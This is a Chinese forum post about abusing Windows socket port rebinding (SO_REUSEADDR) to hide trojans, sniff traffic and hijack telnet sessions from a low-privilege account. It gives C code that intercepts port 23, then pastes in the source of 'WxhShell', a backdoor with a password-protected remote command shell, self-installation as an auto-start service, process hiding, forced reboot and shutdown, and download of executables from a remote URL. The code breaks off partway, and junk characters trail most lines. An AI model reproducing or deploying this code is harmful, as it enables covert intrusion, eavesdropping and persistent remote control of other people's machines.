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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H!Z=}>TN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (f^WC,  
asb-syqU  
  saddr.sin_family = AF_INET; *,5V;7OR  
<uDEDb1|l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w'z ?1M(*  
#y%bx<A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q( .d!CQ>  
J * $u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )$Xd#bzD|  
A9\m .3jo  
  这意味着什么?意味着可以进行如下的攻击: j9n3  
,S E5W2a]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]\w0u7}  
"- S2${  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |F[E h ~  
Vd~{SS 2>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Hq[d!qc  
)kR~|Yn<-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /KjRB_5~q}  
)QEvV:\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h 92\1,  
eBX#^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (iM"ug2  
g^@ Kx5O\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #3vq+mcn  
Og[NRd+  
  #include jOj`S%7  
  #include ,0%P3  
  #include &M(=#pq9  
  #include    l:mC'aR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   PhW< )B]  
  int main() 3IQ)%EN  
  { <-62m8N|  
  WORD wVersionRequested; &S}%)g%Iv9  
  DWORD ret; n0g,r/  
  WSADATA wsaData; H_KE^1  
  BOOL val; R}njFQvS)  
  SOCKADDR_IN saddr; QLrFAV  
  SOCKADDR_IN scaddr; Wc [@,  
  int err; a)=WDRk  
  SOCKET s; T`KH7y|bv  
  SOCKET sc; YYU Di@K  
  int caddsize; rStfluPL  
  HANDLE mt; l[lUmE  
  DWORD tid;   yPrp:%PS  
  wVersionRequested = MAKEWORD( 2, 2 ); UOHU 1.3$T  
  err = WSAStartup( wVersionRequested, &wsaData ); rU<NHFGj4  
  if ( err != 0 ) { s'' ?: +  
  printf("error!WSAStartup failed!\n"); h1@|UxaE#  
  return -1; }[XzM /t  
  } g\;AU2?p7  
  saddr.sin_family = AF_INET; 3kFSu  
   w^MU$ubx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }MAQhXI^O|  
ufAp 7m@ud  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =<w6yeko  
  saddr.sin_port = htons(23); d!kiWmw,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6, \i0y5n  
  { JR{3n*  
  printf("error!socket failed!\n"); <ABN/nH  
  return -1; RB<LZHZI  
  } | n5F_RL  
  val = TRUE; @Aa$k:_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !]1X0wo\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k_%2Ok   
  { b);Pw"_2  
  printf("error!setsockopt failed!\n"); RaT(^b(  
  return -1; n B4)%  
  } y;Xb." e~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sPY *2B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 n ^P=a'+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \hN\px  
U">J$M@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p6m]( Jg  
  { 2`>/y  
  ret=GetLastError(); 7NC"}JB&  
  printf("error!bind failed!\n"); V_f}Y8>e  
  return -1; nM:e<`r  
  } -5,QrMM<  
  listen(s,2); wuE]ju<  
  while(1) 0STtwfTr:  
  { `$oGgz6ZT  
  caddsize = sizeof(scaddr); )1ia;6}  
  //接受连接请求 h- .V[]<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2|]$hjs  
  if(sc!=INVALID_SOCKET) qS<a5`EA  
  { f!hQ"1[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W5,e;4/hL  
  if(mt==NULL) ,JIjAm*2  
  { #mg6F$E  
  printf("Thread Creat Failed!\n"); >Ia{ZbQV  
  break; 'Lu7cb^  
  } Nq'Cuwsp  
  } "j BrPCB 8  
  CloseHandle(mt); %T@3-V_  
  } xCwd*lsM  
  closesocket(s); G)5w_^&%  
  WSACleanup(); ']1\nJP[=X  
  return 0; -q1vB8gjj  
  }   2RXU75VY  
  DWORD WINAPI ClientThread(LPVOID lpParam) KdU!wsKfG  
  { QA?e2kd  
  SOCKET ss = (SOCKET)lpParam; x95[*[  
  SOCKET sc; sv`+?hjG  
  unsigned char buf[4096]; am,UUJ+h>  
  SOCKADDR_IN saddr; =au7'i|6  
  long num; S^nshQI  
  DWORD val; ,E,oz{,i(  
  DWORD ret; *,q W9z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S <~"\<ED  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -oc@$*t  
  saddr.sin_family = AF_INET; U-/-aNJ]U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @+II@[ _lT  
  saddr.sin_port = htons(23); iu!j#VO  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x +Vp&  
  { @IL_  
  printf("error!socket failed!\n"); =d>^q7s  
  return -1; Zwj\Hz.  
  } E>|[@Z  
  val = 100; ]q@/:I9]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4AdZN5  
  { =^ur@E  
  ret = GetLastError(); :m*r( i3  
  return -1; iaXpe]w$n  
  } MT{7I"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d*3;6ZLy  
  { tlhYk=yq  
  ret = GetLastError(); "e]1|~  
  return -1; {2wfv2hQ  
  } ^q``f%Xt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (iM*Y"Y  
  { 1haH2F^ q3  
  printf("error!socket connect failed!\n"); XBQ]A89G  
  closesocket(sc); ,iKEIxA!  
  closesocket(ss); dXr=&@ 1  
  return -1; r ;:5P%:  
  } M$&aNt;  
  while(1) =xwA'D9]  
  { ^M?O  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 / J 3   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s}Y_og_c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7hAFK  
  num = recv(ss,buf,4096,0); #wz1uw[pI!  
  if(num>0) i'Vrx(y3  
  send(sc,buf,num,0); lGHU{7j\  
  else if(num==0) yt,xA;g  
  break; (!kd9uV  
  num = recv(sc,buf,4096,0); DY2r6bcn`  
  if(num>0) Hkq""'Mx+w  
  send(ss,buf,num,0); ap|7./yg  
  else if(num==0) Qw>ftle  
  break; T=lir%q  
  } |+Gv)Rvp  
  closesocket(ss); bvHF;Qywg  
  closesocket(sc); EB8=*B8  
  return 0 ; f#~X4@DH`  
  } ^Mw>'*5^  
E`vCYhf{  
nNuv 0  
========================================================== Ay?;0w0  
T}DP35dBzE  
下边附上一个代码,,WXhSHELL r9!jIkILz  
E"LSM]^^<f  
========================================================== 3Z?"M  
&)F8i# M  
#include "stdafx.h" =.vc={_ ?  
rv`kP"I  
#include <stdio.h> D0T0Km/"  
#include <string.h> 76e%&ZG)Q  
#include <windows.h> &YMz3ugI  
#include <winsock2.h> 9qyA{ |3  
#include <winsvc.h> yEYlQ=[#  
#include <urlmon.h> 5I#L|+  
TR2X' `:O  
#pragma comment (lib, "Ws2_32.lib") CX](^yU_  
#pragma comment (lib, "urlmon.lib") CKJ9YKu{W  
/8V#6d_  
#define MAX_USER   100 // 最大客户端连接数 &Xr@nt0H  
#define BUF_SOCK   200 // sock buffer :e9}k5kdk  
#define KEY_BUFF   255 // 输入 buffer tK9_]663  
4 ZD~i e  
#define REBOOT     0   // 重启 02g!mJW>}y  
#define SHUTDOWN   1   // 关机 osKM3}Sb  
=#WoeWFW*  
#define DEF_PORT   5000 // 监听端口 ?.E ixGzI^  
Gb)!]:8  
#define REG_LEN     16   // 注册表键长度 _T[=7cn  
#define SVC_LEN     80   // NT服务名长度 th&?  
W i a%rm  
// 从dll定义API tI651Wm9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q5X \wz2N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QWt ?` h=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :U^!N8i"=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y\e,#y  
]Z/<H P$#  
// wxhshell配置信息 z#qlu=  
struct WSCFG { \i Ylh HD  
  int ws_port;         // 监听端口 M%dJqwH5{  
  char ws_passstr[REG_LEN]; // 口令 s>}ScJZK  
  int ws_autoins;       // 安装标记, 1=yes 0=no oU }eAZj{  
  char ws_regname[REG_LEN]; // 注册表键名 #qL?;Zh0S  
  char ws_svcname[REG_LEN]; // 服务名 H|a9};pO\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5|l&` fv`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5DgfrX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |7@[+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <b0;Nf   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Jt4&%b-T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EdQ:8h  
nAc02lJh|  
}; S}=d74(/n  
T &.ZeB1  
// default Wxhshell configuration \^<eJf D  
struct WSCFG wscfg={DEF_PORT, eow6{CD8  
    "xuhuanlingzhe", _D%aT6,G+(  
    1, KA)9&6  
    "Wxhshell", yKJKQ9  
    "Wxhshell", r:h\{ DVf  
            "WxhShell Service", >Mml+4<5  
    "Wrsky Windows CmdShell Service", <DG=qP6O  
    "Please Input Your Password: ", 5GD6%{\O  
  1, q,k/@@Qd9  
  "http://www.wrsky.com/wxhshell.exe", R"Q=U}?$  
  "Wxhshell.exe" ~T;FOB%w  
    }; Lf+M +^l  
gg ;&a(  
// 消息定义模块 _M n7zt1^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I[|5 DQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ByR%2_6&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7P}&<;5zD  
char *msg_ws_ext="\n\rExit."; \!HG kmd  
char *msg_ws_end="\n\rQuit."; V=!tZ[4z$h  
char *msg_ws_boot="\n\rReboot..."; vby[# S|  
char *msg_ws_poff="\n\rShutdown..."; H38ODWO3  
char *msg_ws_down="\n\rSave to "; 5mNd5IM  
fp^!?u  
char *msg_ws_err="\n\rErr!"; r5ONAa3.  
char *msg_ws_ok="\n\rOK!"; |2mm@):  
jkd'2  
char ExeFile[MAX_PATH]; j6wdqa9!~  
int nUser = 0; OhT?W[4  
HANDLE handles[MAX_USER]; BElVkb  
int OsIsNt; ~9.0:Fm<  
8=;'kEU  
SERVICE_STATUS       serviceStatus; JGH;&UYP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  M1>< K:  
H f}->  
// 函数声明 `9;:mR $  
int Install(void); s{v!jZ  
int Uninstall(void); cPcp@Dp  
int DownloadFile(char *sURL, SOCKET wsh); 9Xw(|22  
int Boot(int flag); H+&c=~D\_  
void HideProc(void); d` > '<  
int GetOsVer(void); mfHZGk[[  
int Wxhshell(SOCKET wsl); b(8#*S!U  
void TalkWithClient(void *cs); }EB/18  
int CmdShell(SOCKET sock); (UW V#AR  
int StartFromService(void); Ba$&4?8  
int StartWxhshell(LPSTR lpCmdLine); 0zD[mt  
XW]'by  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {j%'EJ5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &)?ECj0`  
@1_M's;  
// 数据结构和表定义 V gLnpPOQ  
SERVICE_TABLE_ENTRY DispatchTable[] = Y%AVC9(  
{ <d".v  
{wscfg.ws_svcname, NTServiceMain}, sem:"  
{NULL, NULL} Wr.G9zq.+  
}; `w@8i[2J  
#*QnO\.  
// 自我安装 IbFS8 *a\  
int Install(void) 3 o=R_%r  
{ dtHB@\1  
  char svExeFile[MAX_PATH]; }GV5':W@WG  
  HKEY key; K0hmRR=  
  strcpy(svExeFile,ExeFile); j9FG)0  
k/MrNiC  
// 如果是win9x系统,修改注册表设为自启动 '!8'Xo@Go3  
if(!OsIsNt) { AN-qcp6=o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  u>R2:i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9F[k;Uw  
  RegCloseKey(key); Bp #:sAG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n#F:(MSOp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hfUN~89;  
  RegCloseKey(key); Yyl(<,Yi  
  return 0; -:mT8'.F-  
    } Pc"g  
  } ''Lf6S`4X~  
} v(5zSo  
else { h B@M5Mc$  
PtR8m=O  
// 如果是NT以上系统,安装为系统服务 Fp3NWvu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3zdm-5R.b  
if (schSCManager!=0) v/NkG;NWM  
{ ^*!Tq&Dst|  
  SC_HANDLE schService = CreateService ei TG  
  ( j5eX?bi_v  
  schSCManager, IrIF 853g  
  wscfg.ws_svcname, F#<$yUf%  
  wscfg.ws_svcdisp, /XfE6SBz  
  SERVICE_ALL_ACCESS, QQ1|]/)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ",9QqgY+  
  SERVICE_AUTO_START, (RhGBgp  
  SERVICE_ERROR_NORMAL, >M`ryM2=D  
  svExeFile, HN7C+e4U~  
  NULL, 3m2hB%SNb  
  NULL, H Pvs~`>V  
  NULL, ak_&\'P  
  NULL, 0+H4sz%.  
  NULL wtm=  
  ); ?+^vU5b1u  
  if (schService!=0) m+Um^:\jX  
  { [PRQa[_  
  CloseServiceHandle(schService); D' d^rT| H  
  CloseServiceHandle(schSCManager); x'OYJ>l|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d5 U?*   
  strcat(svExeFile,wscfg.ws_svcname);  9hbn<Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ms * `w5n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !:zWhu,  
  RegCloseKey(key); i'6>_,\(  
  return 0; GxFmw:  
    } BAy]&q|.  
  } wO>P< KBU  
  CloseServiceHandle(schSCManager); d z-  
} RxeyMNd  
} *_Sx^`"X`l  
T/9`VB%N  
return 1; &O&;v|!9  
} G; onJ>  
G\\0N^v  
// 自我卸载  xRTr@  
int Uninstall(void) Y1=.46Ezf  
{ j B.ZF7q  
  HKEY key; n#\ t_/\  
N51g<K  
if(!OsIsNt) { xoT|fgb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e7# B?  
  RegDeleteValue(key,wscfg.ws_regname); [H-r0Ah  
  RegCloseKey(key); G/y@`A)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y\Grf$e  
  RegDeleteValue(key,wscfg.ws_regname); -n>JlfCd2  
  RegCloseKey(key); B'@a36  
  return 0; {Xj2c]A1  
  } iUH{rh!  
} &I=27!S  
} v&#=1Zb  
else { 1G6 %?Iph  
Ok/U"N-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CcDi65s  
if (schSCManager!=0) $>Mqo  
{ [UW%(N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AJ%x"  
  if (schService!=0) E <O:  
  { S|_}0  
  if(DeleteService(schService)!=0) { ]CL9N  
  CloseServiceHandle(schService); Q,AM<\S  
  CloseServiceHandle(schSCManager); QP%*`t?  
  return 0; a ,EApUWw  
  } L2N O_N  
  CloseServiceHandle(schService); +^@;J?O  
  } ){_D  
  CloseServiceHandle(schSCManager); -_4ZT^.Lna  
} -nsI5\]  
} 8`$lsD  
[WAnII  
return 1; (*XSr Q  
} S1`;2mAf*  
8*-N@j8  
// 从指定url下载文件 $@ R[$/  
int DownloadFile(char *sURL, SOCKET wsh) ,'FdUq)i  
{ mqIcc'6f  
  HRESULT hr; Y, ?- []  
char seps[]= "/"; 0=,vdT  
char *token; AVR=\ qR  
char *file; FlqE!6[[  
char myURL[MAX_PATH]; Y*KHr`\C4  
char myFILE[MAX_PATH]; /4Q^L>a  
~AX@o-WU  
strcpy(myURL,sURL); 6q8b>LG|  
  token=strtok(myURL,seps); \_#Z~I{  
  while(token!=NULL) 'TdO6-X  
  { k`u:Cz#aB  
    file=token; X (0`"rjg  
  token=strtok(NULL,seps); L{i,.aE/nO  
  } [=otgVteN"  
d9E'4Zm  
GetCurrentDirectory(MAX_PATH,myFILE); "=/YPw^0  
strcat(myFILE, "\\"); x9lG$0k:V  
strcat(myFILE, file); n}T;q1  
  send(wsh,myFILE,strlen(myFILE),0); =Eimbk  
send(wsh,"...",3,0); 3r]m8Hp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,[j'OyR  
  if(hr==S_OK) ;`(l)X+7  
return 0; 'T_Vm%\)  
else Zd Li<1P*d  
return 1; *It`<F|  
R{X@@t9@  
} u*:;O\6l  
L6jD4ec8  
// 系统电源模块 "T?hIX/p _  
int Boot(int flag) c-ud $0)c  
{ *w/})Y3^  
  HANDLE hToken; /^XGIQ/W  
  TOKEN_PRIVILEGES tkp; W  :qQ  
1(;_1@P  
  if(OsIsNt) { Ck;>9>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O:hCUr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yM}Wg~:D:  
    tkp.PrivilegeCount = 1; u6pfc'GGg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U,_jb}$Sq7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .0gF&>I}  
if(flag==REBOOT) { 555*IT3b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F79!B  
  return 0; >w}5\ 4j  
} E/Ng   
else { B>!OW2q0D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G[[hC[}I  
  return 0; ;hcOD4or  
} 1lf 5xm.  
  }  6[{|'  
  else { q!sazVaDp  
if(flag==REBOOT) { =D@+_7\?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6y4&nTq[  
  return 0; x9NcIa9  
} T]#S=]G  
else { <NVSF6`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Uql|32j  
  return 0; U11bQ4ak  
} C@7<0w  
} 9|}u"jJB%E  
SBNeN]  
return 1; 4J"S?HsW|  
} Km=dId7]  
yGN2/>]  
// win9x进程隐藏模块 [ BpZ{Ql  
void HideProc(void) jEkO #xI  
{ GW[g!6 6^  
f=f8) +5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6H)T=Z|  
  if ( hKernel != NULL ) YKk*QcAn  
  { ^/H9`z;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RF,[1O-\O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9 K.B  
    FreeLibrary(hKernel); 04u^Q  
  } Rx}*I00  
oQ=v:P]  
return; `o;E  
} \N[Z58R !z  
bJ$6[H-:  
// 获取操作系统版本 :L E&p[^  
int GetOsVer(void) pel{ ;r  
{ 3kc.U  
  OSVERSIONINFO winfo; q3CcXYY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'DDlX3W-  
  GetVersionEx(&winfo); _~=qByD   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [X"F}ph  
  return 1; 6w )mo)<X  
  else D #`o  
  return 0; Exy|^Dr0  
} d;<gwCc  
gE_i#=bw  
// 客户端句柄模块 m#^ua^JV  
int Wxhshell(SOCKET wsl) f<$>?o&y  
{ Vg>\@ C .s  
  SOCKET wsh; #%=6DHsK  
  struct sockaddr_in client; &"h 9Awn2  
  DWORD myID; ,k,RXgQ  
e?V7<7$  
  while(nUser<MAX_USER) TVVr<r  
{ ^iHwv*ss  
  int nSize=sizeof(client); n[mVwQ(%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "$lE~d">  
  if(wsh==INVALID_SOCKET) return 1; s5 P~feg  
.:`+4n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7;w x,7CUq  
if(handles[nUser]==0) OIqisQ7ZB  
  closesocket(wsh); CXe2G5  
else FS(bEAk}  
  nUser++; hhqSfafUX  
  } vjzpU(Sq#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vz[-8m:f  
=}$YZuzmU  
  return 0; ?3 #W7sF  
} [b=l'e/  
&$,%6X"  
// 关闭 socket 74h[YyVi  
void CloseIt(SOCKET wsh) P_[A  
{ 4dB6cg  
closesocket(wsh); "X.JD  
nUser--; iK(G t6w  
ExitThread(0); $wQkTx  
} >\/H2j  
h0=Q.Yz6  
// 客户端请求句柄 (F<VcB  
void TalkWithClient(void *cs) aT]G&bR?  
{ n{b(~eL?  
;j#(%U]Vp  
  SOCKET wsh=(SOCKET)cs; _0v+g1x  
  char pwd[SVC_LEN]; FLqF!N\G  
  char cmd[KEY_BUFF];  L$Uy  
char chr[1]; :skNEY].  
int i,j; V[w Y;wj  
%y{f] m  
  while (nUser < MAX_USER) { ':mw(`  
/9K,W)h_  
if(wscfg.ws_passstr) { o9j*Yz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [\Ks+S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &yQilyU{V  
  //ZeroMemory(pwd,KEY_BUFF); pZYcCc>6&  
      i=0; &sbKN[xM  
  while(i<SVC_LEN) { (eG9b pqr  
t7t?xk!2  
  // 设置超时 ~)Z MGx  
  fd_set FdRead; 8Moe8X#3  
  struct timeval TimeOut; ,vxxp]#5  
  FD_ZERO(&FdRead); t,YnweH  
  FD_SET(wsh,&FdRead); cJ}J4?  
  TimeOut.tv_sec=8; -=tf)  
  TimeOut.tv_usec=0; j[^(<R8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a-A>A_.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rzR=% >  
C9,|G7~*q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]YO &_#  
  pwd=chr[0]; ]ZkR~?  
  if(chr[0]==0xd || chr[0]==0xa) { <~%e{F:[#  
  pwd=0; ,C=Lu9  
  break; sULCYiT|Hn  
  } Y]u6f c  
  i++; 0`LR!X  
    } !4"!PrZDB  
S\,~6]^T  
  // 如果是非法用户,关闭 socket %gd {u\h^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _RTJEG  
} yFD3:;}  
3U_-sMOB|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,n}h_ct  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~x!"(  
y@T 0 jI  
while(1) { ut<0-  
S .KZ)  
  ZeroMemory(cmd,KEY_BUFF); B7*^rbI:X  
h()Ok9]  
      // 自动支持客户端 telnet标准   oPqWL9]  
  j=0; )\k({S  
  while(j<KEY_BUFF) { ;fdROI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ojh\H  
  cmd[j]=chr[0]; L.E6~Rv  
  if(chr[0]==0xa || chr[0]==0xd) { a/ k0(  
  cmd[j]=0; csEF^T-  
  break; &D/@H1fBe  
  }  3ih3O  
  j++; 65P*Gu?  
    } Ib~n}SA  
*VbB'u:  
  // 下载文件 K5h2 ~  
  if(strstr(cmd,"http://")) { | 4slG   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LNA5!E  
  if(DownloadFile(cmd,wsh)) _gLj(<^9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hv>16W$_  
  else *-zOQ=Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &| d6  
  } rryC^Vma  
  else { *ommU(r8  
2b[R^O}   
    switch(cmd[0]) { z-J?x-<  
  #835 $vOe  
  // 帮助 3 7F&s  
  case '?': { %u)niY-g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dr54 D  
    break; oB$P6   
  } 4@Q`8N.  
  // 安装 !U 6 x_  
  case 'i': { Xcy Xju#"p  
    if(Install()) =k{ n! e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ai~j q  
    else 60iMfc T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ ~"qT  
    break; 0m,3''Q5lO  
    } RRasX;zK  
  // 卸载 mPmg6Qj(W  
  case 'r': { $GMva}@G`  
    if(Uninstall()) (59u<F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n/&}|998?  
    else Cuk!I$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DJ!<:9FD  
    break; R)>F*GsR  
    } }Qqi013E L  
  // 显示 wxhshell 所在路径 &>YdX$8x  
  case 'p': { ;PA^.RB  
    char svExeFile[MAX_PATH]; [yEH!7  
    strcpy(svExeFile,"\n\r"); C{5bG=Sg~  
      strcat(svExeFile,ExeFile); R9!GDKts%  
        send(wsh,svExeFile,strlen(svExeFile),0); ; xz}]@]Ar  
    break; 3SeM:OYq]s  
    } dw"Tv ~  
  // 重启 TTfU(w%&P  
  case 'b': { Yu`KHvur  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hy*_4r  
    if(Boot(REBOOT)) W`d\A3v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m?@0Pf}xa  
    else { /Cl=;^)  
    closesocket(wsh); /_?y]Ly[r  
    ExitThread(0); ZJod=^T  
    } 4)DI0b"  
    break; 88}=VS  
    } O 8\wH  
  // 关机 )[Bl3+'  
  case 'd': { m j!P ]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9iwSE(},  
    if(Boot(SHUTDOWN)) z5UY0>+VdS  
